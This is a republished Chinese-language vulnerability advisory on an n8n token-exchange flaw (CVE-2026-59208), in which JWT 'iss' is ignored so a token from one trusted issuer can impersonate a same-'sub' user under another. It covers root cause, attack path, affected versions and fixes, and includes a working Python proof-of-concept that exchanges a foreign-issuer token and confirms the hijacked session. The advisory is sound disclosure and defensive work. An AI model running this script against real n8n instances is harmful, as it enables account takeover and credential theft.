文章总结: n8n存在高危令牌验证绕过漏洞(CVE-2026-59208),因令牌交换身份解析仅校验JWT的sub字段而忽略iss字段,导致攻击者可用低权限签发者令牌冒充其他签发者下的高权限用户,直接获取账号全部操作权限。影响2.0至2.27.3及2.28.0版本,需启用令牌交换并配置多个可信签发者。建议立即升级至2.27.4或2.28.1修复版本,或精简签发者配置、统一sub命名规范作为临时缓解。 综合评分: 89 文章分类: 漏洞预警,漏洞分析,安全建设,渗透测试
【高危AI漏洞预警】n8n令牌验证绕过漏洞(CVE-2026-59208)
jufeng jufeng
飓风网络安全
2026年7月14日 16:25 北京
在小说阅读器读本章
去阅读
一、漏洞描述:
该漏洞存在于主流开源工作流自动化平台 n8n 的令牌交换认证逻辑中,属于典型的身份校验缺失漏洞。当实例配置了多个可信 OIDC/JWT 签发者时,系统仅通过 JWT 的sub(用户主体)字段匹配本地账号,完全忽略iss(签发者)字段校验,攻击者可借助低权限签发者的令牌,冒充其他签发者下的高权限用户,直接获取对应账号的全部操作权限,对多租户、多身份源集成的企业级 n8n 部署威胁极大。
二、漏洞深度技术分析
2.1 组件背景
n8n 是当前应用最广泛的开源低代码工作流自动化平台,支持可视化搭建自动化流程、集成上千款第三方应用,大量企业用于内部运维自动化、数据同步、业务流程编排场景。其令牌交换(Token Exchange)功能是企业级部署的核心身份能力,支持对接多个 OIDC 身份提供商(如企业 SSO、第三方身份平台),实现跨身份源的统一登录与权限映射。
2.2 漏洞根因
漏洞的核心成因是身份解析逻辑的字段校验缺失,账号绑定逻辑存在设计缺陷:
n8n 的令牌交换身份解析器在处理外部 JWT 令牌时,需要将外部身份与本地 n8n 账号进行绑定匹配
存在缺陷的代码逻辑中,仅提取 JWT 中的sub声明作为唯一匹配键,在本地用户库中查询对应账号,完全未校验 JWT 的iss(签发者)字段
当 n8n 配置了多个可信签发者时,只要不同签发者下存在sub值相同的用户,系统就会将其判定为同一个本地账号
攻击者只需持有任意一个可信签发者的有效 JWT,且该 JWT 的sub值与目标受害者的sub一致,即可绕过身份校验,直接以受害者身份登录 n8n 平台。
2.3 完整利用链与危害场景
标准攻击路径
环境探测:攻击者确认目标 n8n 实例启用了令牌交换功能,且配置了多个可信签发者
令牌获取:攻击者通过合法注册、低权限申请、其他漏洞等方式,获取其中一个可信签发者的有效 JWT 令牌
身份匹配:枚举或猜测目标受害者账号的sub值(企业场景下 sub 通常为工号、邮箱前缀等可预测字段)
认证绕过:将持有的令牌通过令牌交换接口提交给 n8n,系统仅校验 sub 匹配后,直接返回受害者账号的会话凭证
权限接管:攻击者使用受害者账号登录平台,可查看、修改所有工作流、窃取凭据、执行自动化任务,若受害者为管理员则可完全接管 n8n 实例。
典型高危害场景
多身份源企业部署:企业同时对接内部员工 SSO 和外包商身份平台,外包人员持有自身签发者的令牌,若 sub 与内部管理员工号重合,可直接冒充管理员接管平台
SaaS 多租户场景:多租户 n8n 平台共用多个签发者,租户 A 的用户可冒充租户 B 的同 sub 用户,造成跨租户数据泄露
权限提升场景:普通用户持有低权限签发者的令牌,若 sub 与高权限用户重合,可直接实现垂直越权
三、影响范围与风险评估
3.1 受影响版本
稳定分支:n8n 2.0 ~ 2.27.3 全版本(2.27.4 修复)
新功能分支:n8n 2.28.0 单版本(2.28.1 修复)
部署形态:源码部署、Docker 部署、K8s 集群部署、n8n Cloud 自托管版的对应版本均受影响
3.2 触发必要条件
该漏洞并非所有 n8n 实例都会触发,必须同时满足以下两个条件:
实例启用了Token Exchange(令牌交换) 认证功能
配置了至少 2 个不同的可信令牌签发者(Issuer)
仅配置单个身份源、使用默认账号密码登录的实例不受该漏洞影响。
3.3 风险等级说明
该漏洞综合风险为高危,核心风险点包括:
利用成本低:仅需一个低权限有效令牌即可完成攻击,无需复杂漏洞利用链
危害程度高:直接冒充目标账号,管理员账号被冒充则平台完全失陷
隐蔽性强:攻击使用合法签发的有效令牌,日志中仅显示正常登录行为,难以检测
企业场景普遍:中大型企业的 n8n 部署通常会对接多个身份源,满足漏洞触发条件
四、漏洞验证 POC(合规授权测试专用)
合规声明
以下内容仅用于已获得书面授权的安全测试、自有资产自检与修复效果核验场景,严禁用于任何未授权的网络访问、身份冒充、攻击行为。使用者需严格遵守《网络安全法》《刑法》等相关法律法规,自行承担所有相应法律责任。
漏洞验证前置环境搭建
需先搭建符合触发条件的测试环境:
部署 2.27.3 或 2.28.0 版本的 n8n 实例
在 n8n 中配置 2 个可信 OIDC 签发者(Issuer A、Issuer B),启用令牌交换功能
在 n8n 本地创建用户 A,绑定 Issuer A 的 sub 为test-user-001;同时存在用户 B,绑定 Issuer B 的 sub 也为test-user-001(模拟 sub 重合场景)
攻击者持有 Issuer B 签发的、sub 为test-user-001的有效 JWT 令牌
验证型 POC 脚本
该脚本用于验证目标 n8n 实例是否存在身份校验缺陷,通过提交非对应签发者的令牌,判断是否能成功获取目标账号的会话信息:
import requests
import argparse
import json
def verify_cve_2026_59208(target_url, attacker_token, expected_username):
“””
CVE-2026-59208 漏洞验证脚本
仅用于授权测试环境,验证跨签发者sub匹配的认证绕过
“””
if not target_url.startswith(“http”):
target_url = f”http://{target_url}”
target_url = target_url.rstrip(“/”)
headers = {
“Authorization”: f”Bearer {attacker_token}”,
“Content-Type”: “application/json”,
“User-Agent”: “CVE-2026-59208 Vulnerability Check”
}
try:
# 调用n8n令牌交换接口与当前用户信息接口
# 步骤1:提交攻击者令牌进行交换,获取n8n本地会话
exchange_resp = requests.post(
f”{target_url}/rest/token-exchange”,
headers=headers,
json={“grant_type”: “urn:ietf:params:oauth:grant-type:token-exchange”},
timeout=10,
verify=False
)
if exchange_resp.status_code != 200:
print(f”[-] 令牌交换接口请求失败,状态码: {exchange_resp.status_code}”)
print(f”[-] 响应内容: {exchange_resp.text[:200]}”)
return False
exchange_data = exchange_resp.json()
if “access_token” not in exchange_data:
print(“[-] 令牌交换未返回有效凭证,目标可能未启用该功能”)
return False
n8n_token = exchange_data[“access_token”]
print(“[+] 令牌交换成功,获取到n8n本地访问令牌”)
# 步骤2:使用交换后的令牌查询当前用户信息,验证是否绕过身份
user_headers = {“Authorization”: f”Bearer {n8n_token}”}
user_resp = requests.get(
f”{target_url}/rest/me”,
headers=user_headers,
timeout=10,
verify=False
)
if user_resp.status_code == 200:
user_info = user_resp.json()
current_user = user_info.get(“email”, user_info.get(“username”, “unknown”))
print(f”[+] 当前登录账号: {current_user}”)
if current_user == expected_username or user_info.get(“id”) == expected_username:
print(“[!] 漏洞验证成功!跨签发者身份校验缺失,已冒充目标账号登录”)
print(f”[!] 完整用户信息: {json.dumps(user_info, indent=2, ensure_ascii=False)}”)
return True
else:
print(“[+] 登录账号与预期目标不符,漏洞不存在或sub不匹配”)
return False
else:
print(f”[-] 获取用户信息失败,状态码: {user_resp.status_code}”)
return False
except Exception as e:
print(f”[-] 执行异常: {str(e)}”)
return None
if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=”CVE-2026-59208 漏洞验证工具(仅授权测试使用)”)
parser.add_argument(“target”, help=”目标n8n实例地址,例如 http://127.0.0.1:5678″)
parser.add_argument(“–token”, required=True, help=”攻击者持有的可信签发者JWT令牌”)
parser.add_argument(“–target-user”, required=True, help=”预期冒充的目标账号(邮箱/用户名)”)
args = parser.parse_args()
print(“=”*50)
print(“CVE-2026-59208 n8n 令牌交换认证绕过验证工具”)
print(“警告:仅可在已获得授权的测试环境中使用,禁止非法测试”)
print(“=”*50)
verify_cve_2026_59208(args.target, args.token, args.target_user)
POC 使用说明
1.运行依赖:仅需 Python 标准库与 requests 库,执行pip install requests安装依赖
2.执行命令
python cve_2026_59208_poc.py <目标n8n地址> –token <攻击者持有的JWT> –target-user <目标账号邮箱>
结果判定:若返回 “漏洞验证成功”,说明目标存在身份校验缺陷,可跨签发者冒充账号;若令牌交换失败或账号不匹配,说明漏洞不存在或不满足触发条件
五、修复方案与缓解措施
5.1 官方补丁修复(首选方案)
n8n 官方已在 2.27.4 和 2.28.1 版本中修复该漏洞,修复逻辑为优化身份解析算法,账号绑定时同时校验sub与iss字段,确保不同签发者的用户身份完全隔离。
2.27.x 稳定分支用户:直接升级至 n8n 2.27.4 及以上补丁版本
2.28.0 版本用户:立即升级至 n8n 2.28.1 及以上版本
Docker 部署:拉取对应修复版本镜像,示例:
docker pull n8nio/n8n:2.27.4
docker pull n8nio/n8n:2.28.1
源码部署:从官方仓库拉取对应 tag 版本,重新构建部署
5.2 临时缓解措施(无法立即升级时使用)
若业务系统暂时无法完成版本升级,可通过以下配置彻底阻断漏洞利用:
精简可信签发者配置:移除非必要的令牌交换签发者,仅保留 1 个核心可信身份源,从根源消除漏洞触发条件
统一 sub 命名规范:对不同签发者的用户 sub 添加专属前缀(如issuer1_xxx、issuer2_xxx),确保跨签发者的 sub 值完全不重合
边界访问控制:对公网暴露的 n8n 实例增加 IP 白名单,仅允许可信内网网段访问,缩小攻击面
账号权限收敛:限制令牌交换用户的默认权限,默认仅分配最小权限,避免单个账号被冒充后造成大面积影响
5.3 修复验证与安全加固
升级完成后,使用上述 POC 脚本进行复测,确认跨签发者的令牌无法完成身份匹配,漏洞修复生效
审计 n8n 的登录日志,排查漏洞披露时间段内是否存在异常登录、跨身份源的异常访问行为
轮换平台内的敏感凭据(API 密钥、数据库密码等),防止漏洞已被利用造成数据泄露
启用 n8n 的双因素认证(2FA),增加账号被盗用后的防护门槛
六、应急处置优先级建议
最高优先级(24 小时内完成):
公网开放、配置了多个令牌交换签发者的企业生产级 n8n 实例
存储了核心业务凭据、对接内部敏感系统的 n8n 自动化平台
多租户 SaaS 形态的 n8n 服务部署
高优先级(72 小时内完成):
企业内网部署、对接多个 SSO 身份源的 n8n 实例
运维团队用于自动化运维、权限较高的 n8n 平台
中优先级(一周内完成):
仅单身份源、个人测试使用的 n8n 实例
无敏感数据的开发测试环境
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 jufeng jufeng《【高危AI漏洞预警】n8n令牌验证绕过漏洞(CVE-2026-59208)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论